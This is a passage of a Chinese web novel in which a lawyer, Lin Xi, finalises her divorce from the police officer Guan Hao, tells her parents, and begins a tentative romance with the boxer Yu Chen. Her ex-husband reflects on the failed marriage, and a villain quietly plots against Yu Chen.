上了车,林茜没听爸爸的建议在后排休息,而是坐在了副驾驶上:“就一个半小时,我坐会儿。这两天光躺着了。” 林爸打着方向盘,往高速收费站的方向开去,问道:“做手术这么大的事怎么也没跟家里说一声?” 林茜靠在头枕上:“不是什么大手术,微创的。这不术后三天就出院了。” “那也应该说一声,你妈知道又该担心了。” “就是怕你们担心才没说。妈自己还病着呢,前一阵说能保守治疗了心态刚放平,我这有事她又得惦记,一天天光担心了。现在事儿解决了,直接让她知道结果,挺好。” 一番话说得林爸闭了嘴,过了一会儿又问道:“这个小余是什么时候认识的啊,怎么没听你提过呀?” “上大学的时候认识的,家在香港,是个很好的人,帮过我好几回,后来回去了。最近来北京做生意,就又碰到了。”林茜三言两语概括了和余琛认识的过往。 “哦。”林爸估摸着话里的意思,又问道:“关昊呢,怎么你做手术他也没露面?” 林茜显得有些疲惫:“回去说吧。” 林爸瞥见女儿的面色,也不再多问。 进了家门,林爸把女儿做手术的事一说,林妈果然担心起来:“上回看你脸色就不好,后来又出差,那么忙身体怎么能好呢?” 林茜自己换了拖鞋,到沙发上窝着:“就是一个小手术,倒是幸亏听了你的话去检查查出来了,还不算大,做得微创,免得开刀了。休息两三周就好。” 林妈还是不放心:“那肿瘤有说是什么性质吗?” “手术时取下一部分碎片当样本送检了,医生说90%以上都是良性的,不用担心。大概一周出结果,护士会把电子版发给每个人。” “那你勤看着点,别看漏了。”林妈嘱咐。 “良性的还真有可能。但恶性的肯定不会,医院会主动联系的,确保患者一定能知道。” 一句话把林妈噎住了。 “你跟关昊是怎么回事啊,说说吧。”林爸憋了一路了,现在终于问出来。 “哦,离婚了。”林茜恹恹地说。 “什么?!” 简直平地一声惊雷,把林爸林妈都震了个跟头。 “你为什么啊?什么时候的事啊?这么大的事儿怎么也不跟我们说啊?”林妈随即发出三连问。 林爸稍微镇定一点:“真离了吗?” “嗯。”林茜垂头应着。 这几天她已经想过了,要让父母接受她离婚的事实,必须拿她们最在意的事当理由。 自己那些性格不合互不信任的原因,在父母看来根本不算事,只会继续撺掇她跟关昊和好。 “茜茜,到底因为什么啊?”林爸追问道。 “因为我生不了孩子了。”林茜平静地说。 “什么?!”林妈一连受到两个打击,眼前有点发黑了。 “哎,你快坐下快坐下!别一个病着一个又倒了!”平常好脾气的林爸此时也着急起来。 林妈靠着沙发坐下后,人也冷静了一点:“你为什么生不了了?” “因为我这个病,”林茜显得很落寞:“单侧卵巢囊肿,医生说是畸胎瘤,剥离掉就好了,但可能会影响这边卵巢功能。” 林茜轻轻地说着,拿过一个抱枕抱在胸前,动作有些缓慢。林爸林妈双双盯着她,大气也不敢出。 林茜继续说道:“本来还有另一个卵巢可以用,但我又查出另一侧的输卵管狭窄。这下两头都出问题了,医生说我怀孕会很困难。最后他建议我在手术和生孩子之间选择手术,因为孕中激素变化会刺激肿瘤长大,到时候大人小孩都有危险。” 一番话说得林爸沉默下来,他听明白了,这是提前版的保大还是保小。为了拼个孩子,也可以先怀孕,但最坏的结果是一尸两命。 那当然还是女儿的命重要,这个险不能冒。 林妈却有些茫然:“这么匆忙就决定了?也没和我们商量商量?那另一个病不能治吗?” 林茜没提试管的事,只说:“反正医生说了,怀孕很困难。” 林爸问:“关昊是因为这个和你离婚的吗?” 林茜含混道:“是我们共同的决定。本来我们之间也一直有分歧,他觉得我不够顾家,我觉得他爸妈不好相处,大家都融入不了彼此的家庭。过着也挺难受的。” “谁说融入不了?”林妈叫起来:“我看他融入得挺好的,他上个礼拜还带我去看病呢!你融入不了你怎么不反思一下?就是你的问题!” 林茜看着妈妈,觉得周遭的一切都变得光怪陆离起来。明明自己小时候,妈妈很疼她的,希望她开心,鼓励她进步,是个开明开朗的妈妈。 可自从结婚后,妈妈的态度就变了。变得很有分寸感,每次去林茜家里都像做客,对女婿过分客气,又总私下督促她要眼里有活儿,照顾好家里,尽好妻子和儿媳的本份。 好像结了婚,妈妈就消失了,多了一个隐形的婆婆。 林爸还在那劝:“你别骂她了,孩子刚做完手术,今天才出院。” 林妈很委屈:“我这不是为她好吗?离了婚又不能生,她以后怎么办?就一点办法没有了吗?你去求求关昊呢?那孩子心软。” 林茜冷着脸说道:“不可能。你们也不许去,我和他妈大吵了一架,差点动手,是彻底闹翻了。离了就是离了,你们别去自讨没趣。” “可上周关昊还带我去看病……”林妈还是不愿相信。 “你也说了他心软。但人不可能总是心软,去得多了就让人厌烦了。别分都分了还让人瞧不起。” 林茜少有这么强硬地对父母说话的时刻。 林爸表态:“知道了,我们不去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你今后有什么打算吗?” 林茜的表情缓和了一点:“先休息吧,好几年没休年假了,我打算先休一个月。然后看看房子,这几年赚了不少钱,够在北京买个房子了。以后有了自己的房子,你们过去住也方便。” 以前住在关昊父母的房子里,总觉得自己是外人。连林茜都有这样的感觉,更别提她父母了。所以林爸林妈每次去看林茜,总是坐坐就走,很少过夜。 “嗯。”林爸心里稍稍安慰了一点,虽然离了婚,生育又困难,但有钱傍身也是好的。 “那,有再找的计划吗?”林爸又问道,他想问问余琛是怎么回事。 男人的直觉,肯定不是普通朋友,那小子看茜茜的眼神一看就不普通。但顾及老婆还没接受现实,林爸先不说出他的名字,免得刺激林妈。 “随缘吧。”林茜给了个万金油答案。 林爸一噎,想想也对。女儿才三十,二婚不算大,还有时间。 林茜离了婚,最难受的还是林妈,她很喜欢关昊这个女婿的。午饭和晚饭,连着两顿饭都没人说话,气氛很压抑。 到了夜里,林茜出来上厕所,听到主卧断断续续传来说话声。 林爸:“你也别太担心了,茜茜长得好,又能干,年纪也不算太大,再找肯定也能找到不错的。” “离了婚,又不能生了,人家谁还要她?”林妈饱含着情绪的声音传进林茜耳朵里。 林茜感到一阵愤怒和浓重的哀伤。 愤怒的是,就因为自己长了个子宫,生孩子就成了义务,甚至成了债务,谁都可以来挑拣她,指责她? 有这种想法的人真该被一拳打上去。 哀伤的则是,妈妈就有这种想法。 她甚至不能怪她。 林茜有时候觉得,妈妈对她的感情很奇怪。 希望她飞得高,但不希望她飞得太高;想让她过得好,又不能过得太好。一定要严丝合缝地卡在一个壳子里才完美,多一点少一点都要被谴责。 林茜知道那个壳子是什么:有一个事业有成又专一的老公,一双儿女,一份轻松稳定的工作,然后把一生奉献给丈夫子女,再享受周遭的人对自己美满家庭的艳羡。 可林茜不想要。 手术的伤口慢慢愈合了,心却像破了个洞,呼呼地往里灌着刺骨的寒风。 林茜回到卧室,木然地坐到窗前,像一樽雕像。 不知过了多久,窗外透出一点鱼肚白。 林茜轻手轻脚地收拾好了不多的行李,来到主卧门前。里面静悄悄的,父母昨晚夜话很久,此刻都还在酣睡。林茜站在门口,能听到里面沉重而悠长的呼吸声。 怕吵醒父母,林茜只留下一张字条,然后打车到车站,买了最早一班回北京的高铁。 火车到站的时候,林茜随着人流下了车,有些吃力地提着行李。蓦然想起十多年前,自己一个人来北京上大学,那时候好像有无穷的力气,无限的希望。路在她脚下,世界任她闯。 此刻却是满身疲惫。 她需要外力支持,需要真正的关心,而不是包裹在“都是为你好”糖衣下的控制与恐慌。 林茜拿出手机,打出了那个十年前就已经熟记于心的号码。 40. 第 40 章 余琛没想到会在早上7点多接到林茜的电话。 7:15的马路还很清净,余琛开着车往车站的方向疾驰而去,不知道是高兴多一点还是担心多一点。 高兴的是又能见到林茜了,担心的是听起来她的状态不太好。 林茜这一路都很沉默,看起来有些憔悴。余琛什么都没问,把车开得很稳。 进了门,余琛拿出拖鞋给林茜,看她有些诧异就解释道:“原本想等你出院后接你过来住一段时间的,所以提前准备了这些。” 林茜这才打起精神看了一下房内的布置,大体是灰色系的工业风,但所有的椅子上又都有坐垫,阳台上还放了一把暖黄色的摇椅。 “谢谢你,要麻烦你几天了。”林茜原本只想见见余琛,这样的时刻,她需要陪伴。但现在她改了主意。 余琛温和地说:“不麻烦,住多久都可以。我带你去看你的卧室。” 林茜跟着余琛走进客房,竟然是淡淡的粉色系。四件套看起来都很新,有一点若有若无的薰衣草香。 这些都是洗好晒干后在林茜出院前一晚铺上的,昨天没能接林茜回来,也没收起来,今天正好派上用场。 余琛知道林茜有洁癖:“都是新买的,只过了一遍水,没有人用过。” 林茜心里好像注入了一些能量,看看余琛笑了笑:“谢谢。” 余琛打开衣柜:“还帮你准备了几套家居服和毛巾之类的日用品,不知道你用不用得惯。还有什么需要的,告诉我我再去买。” “没有了,很周全。”林茜眼下挂着两个黑眼圈,神色有些疲惫。 余琛心疼:“昨晚是不是没睡好?先睡一会吧,午饭我来叫你。” “好。” 林茜在余琛这里住下来,连老姚也不知道。她给父母的说法是,在北京找了个疗养院,订了一个月,已经付了钱。 老两口早上起来看见字条,心里都犯嘀咕:什么疗养院?之前也没听她提过啊,一晚上找好的? 林妈又开始担心:“刚做完手术还到处跑,那外面能有家里照顾得仔细吗?” 林爸忍不住埋怨了一句:“昨天你还一个劲儿地念叨她,你也知道她刚做完手术。” “我那不是为了她好吗?”林妈叫道:“你快给她打个电话,问问在哪。这么大个人了也不让人省心。” 林爸无奈拨了女儿的电话,发现打不通。 等了会又打,还是打不通。 这下林爸林妈都有点坐不住了,茜茜一个女孩子,刚做完手术身体还虚着,现在又联系不上,难免让人往不好的地方联想。 林爸想起昨天存了姚佳莉的电话,又急忙打过去。老姚习惯晚睡晚起,过了很久才接:“林叔?” “小姚啊,茜茜在你那吗?”林爸焦急的声音传来。 “啊?”老姚脑子还有点蒙:“不是昨天跟您回去了吗?” 完了,看来她也不知道。 “是,今天一早又走了,跟你联系过吗?”林爸抱着试一试的态度问了句。 “没有。”老姚按开免提,然后切换到微信页面看了看,没有林茜的消息。“怎么今天突然走了呢?” 林爸一时语塞,家丑不可外扬,女儿离婚又离家出走,这话怎么说得出口。 林妈在一边看得着急,夺过手机按开了免提:“小姚啊,茜茜离婚你知道吗?” “啊?知……知道啊。”老姚有点回过味来了,这是因为离婚和父母闹矛盾了。 “她们到底为什么离啊,这事一点转机也没有了吗?”林妈还是不死心。 “为什么离,这人家夫妻俩的私事,我也不好问得太仔细。但茜茜要是跟你们说了,那应该就是了。”姚佳莉拿不准林茜跟父母说了多少,答得很模糊。 这话落在林爸林妈耳朵里,成了实锤。 确实,生不出孩子这种事是夫妻俩的隐私,不好说出口。 放下手机,老姚又给林茜发了条微信:怎么回事啊茜茜,你爸妈早上把电话打到我这来了,问你在不在。你到底在哪啊,刚出院别乱跑,有什么事跟我说,我肯定在。 林茜睡前把手机调成了飞行模式,一直睡到11点。起床后看到老姚这条信息,心里暖暖的。看来这世上也不全是坏事,也不全是无法沟通的人。 先给老姚回了条:在余琛这,他厨艺好,我蹭几天饭,对我爸妈保密哈。 想了下又给林爸发了一条:已经住下了,上午睡了一觉。这里挺舒服的,饭菜也很好。在这电子产品用得少,要多休息。不用老给我打电话,我不一定能接到。也别给姚佳莉打了,她也挺忙的。 还没发完,饭菜的香气飘进了屋里。 林茜睡饱了才感觉到,肚子已经很饿很饿了。 余琛话不多,也没问她发生了什么,只是变着花样做好吃的给她,多是些南方的清淡口味,荤素搭配,重在鲜美。汤是每天都有的。 刚来的几天林茜大部分时间还是呆在自己的房间里,后来才慢慢走出来,和余琛聊几句家常,在阳台上晒晒太阳。 余琛也不是一直都在家,他时不时要去拳馆看看,和老客户维系一下交情。隔三差五再去老广私厨那顺一些不好买到的食材回来。 天气好的时候两个人会在小区里散步。余琛住的小区不大,绿化好,私密性强,进出都要刷门禁。走累了就坐在路边的长椅上休息。余琛每次出门都会带块小毯子,垫在长椅上再让林茜坐下。 助理知道她生病的事,很少来打扰。时间忽然慢下来。林茜才体会到北京的秋天这么舒服,天瓦蓝瓦蓝的,气候宜人。风中带一点凉意,不冷也不燥,清爽得很。 那些带着毛刺的心绪被慢慢安抚下来,林茜有时候觉得自己好像真的住进了一家疗养院,从身体到精神都得到了休养。 与林茜的慢生活不同,关昊这边称得上夙兴夜寐。 以养老院形式的非法吸收公众存款案牵连甚广,不只东北和北京,西北和华中还有七八家养老院疑似牵涉其中。 北京这边是关昊在负责,除了追查上游资金来源,还要和各地的同事交流案情,摸清作案细节和资金去向。关昊甚至亲自跑了陕西和湖北一趟。 从湖北回来已经是十月底了,林茜突然发了条信息给他:明天就满30天了,还是早上8点半在民政局门口见,可以吗? 案件进展带来的兴奋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间消失。 关昊几乎忘了,自己马上要离婚了这件事。 过去的十几天,他恍惚以为自己只是像往常一样,一头扎在案子里,出差办公,暂时顾不上家里。 等他回来,还是会有一个美丽的妻子做好饭在家等着他。 直到此刻,这梦幻的假象破灭了。 关昊爱面子,让他自己去民政局撤销申请这种事是做不出来的,那不等于自己偷偷举白旗了? 可指望林茜回头,好像又希望渺茫。 关昊有丝犹豫,要不要向林茜低一次头?但马上又否定了自己。她都跟余琛同居了,还求什么求?还嫌不够难堪吗? 连日办案冲淡了离婚的伤感,关昊盯着这条信息,最后回了一个字:行。 一场秋雨一场寒。 昨天夜里下过雨,地上全是落叶,夹杂着泥泞。 风中都是凉意,吹到人心里,让人忍不住打个哆嗦。 空气里有一些萧瑟的气息了。 林茜拒绝了余琛送她的建议,打车到了民政局。 关昊已经到了,穿着夹克和工装裤,再加一双利落的短靴,还是靠在他那辆巨大的吉普上,收获路人目光。 看着久未见面的妻子一袭风衣走过来,熟悉又陌生,亲近又遥远。 两人简单打了个招呼,并排走进民政局,落在外人眼里,真是一对璧人。 林茜像上次一样提前预约好了,拿了离婚的第一个号。 关昊用余光瞥了妻子一眼,细白的皮肤泛着淡淡的光泽,她好像比以前又好看了一点。 昨天的洒脱都不见了,关昊内心又翻涌起来。 真的要结束了吗? 广播已经叫了她们的号码。 就在两人起身时,关昊忽然问了句:“林茜,你说要是咱们有个孩子会怎么样?” 林茜听到这话顿了一下,然后毫不迟疑地往工作人员那里去了。 没有回应。 甚至没有看他一眼。 关昊刚刚积聚起的勇气瞬间逃散了。 有点气愤,有些不甘,但面上还是竭力保持着平静,配合工作人员完成了全部流程。 拿到红色的离婚证时,关昊有点恍惚,这不跟结婚证一个色吗?再翻开那本结婚证,上面已经多了一个“失效”的章。 怎么就走到这一步了呢…… 刚刚的愤怒和不甘又被一阵迷茫代替。 出了民政局的门口,关昊问林茜:“你回单位吗?我送你吧。” 林茜说:“不用了,我预约了附近的一个展览,打算去看看。” “你,看展?”刚离了婚还有心思看展?关昊感到不可思议。 “对。关昊,保重。”林茜留下这一句,转身走了。 关昊看着她一直走到路口,没有回头。 深一脚浅一脚地回到车上,关昊拿出手机,鬼使神差地搜了下附近的博物馆,还真有个“探秘古蜀文明-三星堆与金沙”展。 关昊更迷惑了。 她什么时候对三星堆感兴趣了? 她这个时候还有心情去看三星堆? 女人到底是一种什么生物呢? 41. 第 41 章 关昊坐在驾驶位上,思索几秒钟后得出一个结论:女人和三星堆一样,都是未解之谜。 然后回到警队,继续投身工作中。 林茜的心情不错。 结束一段关系的伤感在这一个月里已经消化殆尽。 现在是新生了。 她饶有兴趣地看完一整个展览,然后慢悠悠回到了律所。 苏杭见到久违的林律师,热情地打招呼:“林律师好!” “你好啊。”林茜笑着回应。 “哎,林律师留步。咱们所的团建正在征集意见,您有时间的话看一眼哈。” “好啊。”林茜走到前台,接过苏杭递过来的一张宣传页。 苏杭在边上讲解:“今年还是分两个批次,去的地方也不一样。11月有一批,去日本。12月一批,去泰国。都是6天5晚。员工不收费哈,所里全包了,还带可以带一名家属,打五折,一个人5500。”苏杭眨了眨眼。 她一个月前就从小蓝那得到最新消息,林律师已经在办离婚手续了。现在应该恢复单身了吧?今年会不会带人去呢,好期待。 林茜想起余琛说12月要去泰国参加一个联赛的表演赛,着重看了眼泰国的行程。 没有观赛活动,不过都在曼谷。 还从来没看过余琛打比赛呢…… 又看了眼日期,12月18日-23日,法院差不多统计完了结案率,意味着最忙的时候已经过去了。 余琛的比赛也是在中下旬。 海里游泳,沙滩上晒太阳,然后回来过圣诞节,好像还不错。 “我选泰国这一批。”林茜露出一个笑容。 “哦,好。”苏杭看着如沐春风的林律师,心里纳闷:泰国有这么好吗?自己喜欢去日本看雪泡温泉多一点呢。 晚上林茜回到余琛的住处,吃饭的时候提出了要搬出去的事。 “是有什么地方住的不舒服吗?”余琛紧张地问。 “不是,打扰这么久,也是时候搬出去了。”林茜解释道。 余琛看着桌面,声音有点低:“我不觉得是打扰。” “我今天和关昊办完了离婚手续,我自由了,要开始新生活了。总不能从朋友家里开始吧?”林茜耐心说服他。 “如果我,不只想和你做朋友呢?”余琛抬起头,问出了埋在心里很久的话。 林茜回避了他的目光,斟酌着开口,又看回他:“我想重新开始自己的生活,也想试着多去了解你。阿琛,可不可以给我一点时间?” 余琛看着她的眼睛点了点头。还好,她没有拒绝自己,只是需要等而已。 他有耐心,他对林茜永远有耐心。 为了避免尴尬,林茜聊起别的事情:“我记得你12月要去泰国打比赛,是什么时候啊?” “14号一场,21号一场。” “会有危险吗?”林茜问。 “不会,只是表演赛而已。”林茜关心他,余琛很高兴。 “那,我可能会去看你的比赛。”说完这句话,林茜就看到余琛那向来波澜不惊的眼睛里露出了明显的惊喜。 林茜也不自觉笑起来:“是律所组织的团建,12月要去泰国,20号我应该在曼谷,可以赶上你的比赛。” 余琛不知道,林茜是因为他才选的泰国。但林茜会想到去看他的比赛,已经让他足够欣喜。 “表演赛……可能,没那么精彩。”余琛有点语无伦次起来。男人嘛,在自己心爱的女人面前总想展示最强一面。 “这样刚刚好啊。我也是第一次看现场格斗,太刺激的还怕受不了呢。表演赛正好,最好不要受伤。”林茜看着余琛说道。 余琛心里感到一阵熨帖,以前的老板对他很好,鼓励他,栽培他,希望他可以拿更好的成绩。同行对他有羡慕也有诋毁。唯有真正关心他的人,才最在意他会不会受伤。 “好。”余琛温柔地看着林茜,突然明白了她刚刚说的“想试着多去了解你”是什么意思,不是敷衍,不是客套,是真的付出行动去了解。 对林茜这样忙起来连吃饭都来不及的人来说,花时间了解一个人意味着什么……余琛的心底生出了无限的勇气和力量。 林茜做事一向雷厉风行,第二天就搬走了。这次余琛没有不开心,而是充当主要劳动力,和她一起搬行李。老姚知道了也来帮忙打扫,看两人相处愈发默契,也是会心一笑。 林茜回归工作后,火力全开,一周能开5个庭,周末还能加班约见客户。 幸好之前在余琛家里有他的精心喂养,身体已经好得差不多,连续高强度工作也没什么不适,林茜又体会到了庭上唇枪舌剑,庭下大把赚钱的快乐。 苏杭和小蓝时不时在午休时交流八卦,出现最多的还是林茜:看林律师这么拼还这么神采奕奕,必然是生活有重大转折,两个人都押林律师已经恢复单身,看好拳王上位。 雷劲因为帮老板联系到了泰国周五格斗夜的表演赛资格,没被优化。何广生看他也顺眼了一点,经营学的书上说了:垃圾,就是放错地方的资源。 雷劲这个人带客户不行,开发客户更不行,但泰国有人脉,也算是个优势,暂且留下。 唯有康嫣然不喜欢他,总觉得他眯起的小眼睛里,藏着什么下流的东西。 但康嫣然也不喜欢其他人,所以她那点排斥在别人眼里也就不算什么了。 雷劲每天下班后回到出租屋就很少再出去,一般是对着满墙照片慢慢磨自己的计划。 除了康嫣然和林茜,墙上又多了姚佳莉。 是上次和余琛拍摄女子防身术时抓拍的照片。 照片中姚佳莉正要摔倒,余琛一把揽住,经典偶像剧场景。 “余琛这小子,真是艳福不浅。”雷劲露出一个阴森的笑容,拿起放在烟灰缸上的烟,闻了一下又放回去。 已经一个月没有联络上寿哥了。 雷劲确定寿哥出事了。 所以也就不用再等什么指示。除掉余琛,享用他的女人,就是给寿哥报仇了。 泰国那边已经部署得差不多了,按惯例只需要参加一场的表演赛被雷劲变成两场,既可以多拖住余琛一段时间,也方便在比赛中做手脚。 雷劲默默蛰伏着,等待时机成熟。 关昊拿到离婚证后比之前更卖力地工作,忙到科长都劝他多休息。 毕竟在外人看来,关昊比之前又瘦了,头发也有段时间没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 剪了,显得有些潦草。脸上时不时透出两个黑眼圈,明显是休息不足的状态。 “警察也是人嘛,也要休息,要生活的。养老金的案子已经在收尾了,这个周末你不要加班了,好好休息。之前不是说你岳母病了吗,多陪陪家人,照顾长辈的事也不能全压在贤内助身上。”科长还不知道关昊已经离婚了,语重心长地劝道。 关昊神色黯然:“哦。” 又是周五了。 这是离婚后的第三个周五了。 前两周都在加班,每天把自己累成死狗,回去到头就睡。现在呢,不加班了,还能干什么? 关昊回到自己的工位,盯着桌上的水杯发愣。 已经过了下班的时间,小王约了女朋友,一到点就走了。 有的同事还在收拾东西。桌上的电话震动起来。 是关妈。 “喂,妈。” “昊昊啊,最近还那么忙吗?你都多长时间没回来了,快仨——月了。”关妈的声音在那头响起,又想抱怨,又怕儿子生气。 “哦,回,明天回。”关昊应着,转头又说了句:“今天就回吧,家里有饭吗?” “有,有,现做都来得及。”关妈一听儿子要回来,高兴坏了:“你媳妇回来吗?” “她不回去。”没有媳妇了,关昊落寞地想。 一进家门,关妈吓了一跳。 “这是怎么啦?你又受伤啦?”关妈看着儿子,两只眼睛有点抠了进去,青色的胡茬冒在下巴上,头发凌乱,脸色也不太好。 “没有,最近忙的。做什么吃的了?最近光吃外卖了。”关昊懒懒地说着,往餐桌走过去。 一看大哥一家也在。 亮亮又长个了,已经超过大哥了。嫂子看见关昊,有点局促,可能是想起了借钱的事。 “哥,嫂子。”关昊打招呼。 “哎,快坐。”大嫂站起来,招呼关昊坐下。 关爸出门钓鱼,还没回来。一桌人也不动筷子。 “咕噜——”一声从关昊的肚子里发出。 关妈看不下去了:“不等了不等了,老东西年纪越大事越多,儿子轻易也不回来一趟,来了还让饿着,不管他了,死在外面最好!” 老大听了这话,脸色就有点不好,他跟媳妇差不多每周都来一次的。 大嫂觑着丈夫的脸色,忙打圆场:“许是钓着大鱼,要给咱们加菜呢!” “屁!”关妈恨恨得说:“我还不知道他?退休前不着家,退休后也不着家,什么都丢给我管,他倒好了!当个甩手掌柜逍遥自在!” 关昊的头又开始一跳一跳疼起来。他回家是来寻求温暖的,不是来寻找麻烦的。 “我有点事回单位一趟。”饭还没吃,关昊抓起外套,出门走了。 留下一桌子人大眼瞪小眼。 不想回家,开着车在三环上游走。 不知不觉,又来到了林茜楼下。 关昊没下车。关了灯,打开音响,哀伤的女声飘荡在车里:“爱像月亮,美得落下了一点光。不想回家,独自等天亮……” 林茜的房间亮着灯,关昊摇下车窗,看着那间透出暖黄色的屋子,往事一幕幕在脑海中浮现。 42. 第 42 章 关昊从记事起,父母就是中年了。大哥年长他十岁,读得寄宿学校,经常不在家。 许是人到中年,上有老下有小,成了夹心饼干,脾气也跟着差起来,一点点鸡毛蒜皮的事就能发一大通火。 从小到大,关昊看着父母三天一小吵五天一大吵,从很怕很怕变成很烦很烦。 自己以后的家庭,一定不要变成这样。 自己以后的老婆,也一定不要让她变成妈妈这样。 关昊其实知道妈妈动不动就歇斯底里的原因。爸爸一直是甩手掌柜,工作不算很忙,但钓鱼遛鸟喝酒打麻将,就是不在家,家里的事全丢给老婆。 妈妈有自己的班上,还要照顾老公和他们哥俩,还有奶奶。爷爷走得早,奶奶一直和他们住在一起,直到关昊高考那年的冬天去世。 最后几年奶奶瘫在床上,爸妈舍不得请保姆,日常生活还是妈妈在照料。照顾一个瘫痪的老人很辛苦,家里总是有一股若有若无的尿骚味。 妈妈和奶奶的关系也一直不好,这些年明里暗里较着劲。妈妈年轻时脸皮薄,好多话不好说出口,就拐弯抹角地说。长年累月成了习惯,到现在就显得说话总是阴阳怪气。 关爸呢,一直当看不见,看不见老婆的辛苦,也看不见婆媳之间的龃龉。关爸没想过调和妻子和母亲的矛盾,实在闹大了就和稀泥,再不行就甩出孝道这个杀手锏,扣到老婆头上。 老一辈的女人,真的会被这两个字压得动弹不得。 但关妈的脾气也越来越坏了。 小小的关昊改变不了这一切,甚至不能细想,一想就会对母亲产生愧疚。他只想逃离,然后建立一个新的家庭。 他第一眼看见林茜就喜欢上了。 那么明朗的女孩子,像一截脆生生的莲藕,蕴藏着无限生机,和那个散发着腐朽与牺牲气味的原生家庭形成了鲜明的对照。 关昊不自觉就想靠近她。 是啊,难怪余琛总是见缝插针地黏在林茜身边。谁会不喜欢林茜呢? 她做事很利落,说话却温温柔柔的,听着就能让人静下来。有什么烦心事,她都会耐心地听他诉说,然后给出自己的见解,或者只是静静地陪着他。 关昊很享受那样的时刻。 像是外面再大风大雨都没关系,至少林茜这里,还是安宁的。 这个世上,总有一个安宁的角落留给他。 后来,他如愿以偿娶了林茜。每次别人问起,他都略带骄傲地说自己从没追过女孩子,和林茜是水到渠成。 天知道他有多高兴和林茜变成一家人。 没有人告诉过他,原来有老婆是件这么幸福的事。 衣服有人洗,饭有人做,平常带出去惹人艳羡,每晚抱在怀里软玉温香,心烦了还永远有一双耳朵听他诉说。 那时候,林茜也是爱他的吧。 人被爱的时候,都有点不识抬举,总以为这份爱永远不会消失。 说好自己的家要和原来的家完全不一样的,可他还是慢慢变成了父亲的样子,成了一个甩手掌柜。 妈妈有什么事都打给林茜,家里有什么事都丢给林茜。 自己只要专心工作就好。 从什么时候开始的?关昊已经不记得了。 明明林茜也很忙的,她什么时候学会分身术,又能晋升又能处理好这些家务事的?关昊茫然地想。 幸好,林茜没有变成妈妈的模样。 可惜,林茜离开了他。 关昊一直坐到后半夜才走。 夜里气温下降,凉意透过车子传到身上,腿也坐得有些僵硬了。关昊看着那间已经黑了很久的屋子,终于打着火,回到了自己家。 第二天中午,关昊在沙发上醒来。 这是最近养成的习惯,1米87的个头,窝在窄窄的沙发上睡。虽然起来腰酸背疼的,可有种莫名的安全感。 主卧的床太大了。偌大的床,空空荡荡。 根本睡不着。 可是今天有点倒霉。从沙发上起来,睡落枕了。 关昊歪着脖子,去冰箱里找吃的。 天天吃外卖也吃腻了。关昊想了个省事的法,去超市买了不同馅儿的速冻水饺,饿了就煮一包。 第一次没经验,饺子黏在锅底全破了,喝了一锅韭菜鸡蛋面皮汤。 后来就知道了,下锅之后要时不时搅动一下,防止粘锅底。 打开冰箱,只剩猪肉大葱的了。不太喜欢,但腹中空空,从昨天晚上就没吃东西了。 正打算拿出来煮,手机传来一声信息提示音。 关昊拿起一看,是李莉发来的:关队,养老院这个案子快结了,大家伙打算周末聚聚庆祝一下,您有时间吗? 真是瞌睡送枕头。关昊现在最怕寂寞,回道:有啊,什么时候? 李莉看到回信后心里莫名动了一下。关队连着加班俩礼拜了,好不容易休个周末,一叫就出来。自己还没说什么时候呢。 家里没人吗?来自女人的第六感。 李莉看着手边一个精美的包裹,回了条:下午成吗?玩密室逃脱。 关昊秒回:成。 下午4点,关昊到店一看,一共就仨人:李莉、赵诚、还有自己。 李莉有点不好意思:“那个,张队他们几个都说要陪孩子。王哥有事,晚上才能过来。您要是晚上也有时间,咱们这趴结束后去吃烧烤,然后去唱K,我都订好包厢了。” 合着能来的全是单身狗。 关昊没意见。 李莉见状,心里的猜测又肯定了一点。 仨人挑了个欧式悬疑风的,微恐怖,主题叫“完美人偶”。 关昊打头,李莉走中间,赵诚断后,一行人来到昏暗的房间。 别说,布景不错,透着股诡异。就是NPC出来的时候有点出戏,也不怪演员,主要关昊反应太快了,以为真有案情,一个过肩摔就把人撂倒了。 得亏地上是厚厚的地毯,人没什么事,就是吓了一跳,末了还给关昊竖了个大拇指。 后半场再也没遇到NPC。 破案解谜也算老本行了,游戏玩得挺顺利,没用90分钟就出来了。 老板也松了一口气,在监控里看到关昊动手的时候,还以为同行来砸场子了呢。 老板拿出待客的笑脸,先问了游戏体验怎么样,然后礼貌地问能不能给个好评,收藏打卡加15字评语配3张照片。关昊懒得弄这些,对APP也不太熟。 李莉拿着手机操作,顺嘴问了句:“老板,还有更恐怖的吗?” “有啊,还有个医院谋杀案主题的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,是真实案件改编的。那个玩得人少。大部分人微恐怖就够了。”老板客气地回道。 真实案件啊,那没意思了。她们天天接触真实案件。下次换一家。李莉在心里记下了。 刚过5点,三人到了烧烤店。时间还早,店里没什么人。 关昊平常和小王最熟,跟今年这两个新来的私下接触的不多。 这时候也没话找话:“你们不是说元旦出节目吗?准备怎么样了?” “就合唱一首歌,正排着呢。”赵诚老实答道。 李莉却想起上次唱K,关昊酒后误把她当做妻子,拉住她手的场景。 “哎,你脸怎么红了?”赵诚人有点楞,看到什么就直接问出来了。 关昊以为李莉是因为和赵诚合唱害羞了,安抚道:“嗨,不就一首歌嘛,你俩没问题,大大方方的,拿个奖回来。” 李莉一改往日的伶俐,腼腆地答了个:“嗯。”手一直捂在包上。 “你那包放边上吧,这地方也宽敞,一直抱着多费劲啊。”赵诚又说了。 李莉从前没发现,赵诚怎么话这么多。 三人有一搭无一搭地聊着,小王来了。 “我来晚啦!”人未到声先到,小王风风火火地走进来:“今儿我请客哈,谁也别跟我抢。” “有了对象是不一样啊王哥,春风得意,让人羡慕嫉妒恨。”赵诚和小王很熟,一脸羡慕地说道。 小王嘿嘿笑了两声:“不用羡慕,你早晚也会有的。” 李莉却注意到,关昊的脸色有一瞬的黯然。 李莉不动声色地加入话题:“王哥,嫂子是干什么的呀,什么时候带出来让我们认识一下?” “她啊,比我小几岁,还读研呢,再过过吧。”小王说。 “那你们怎么认识的啊?”赵诚问道。他是真心求教,自己怎么就认识不了新姑娘呢。 “健身认识的。有了共同爱好,这不就容易聊得来了吗?”小王咧着嘴分享经验,幸福得很明显。 关昊一直沉默着,李莉忽然转过头问他:“关队,那您和嫂子怎么认识的啊?” 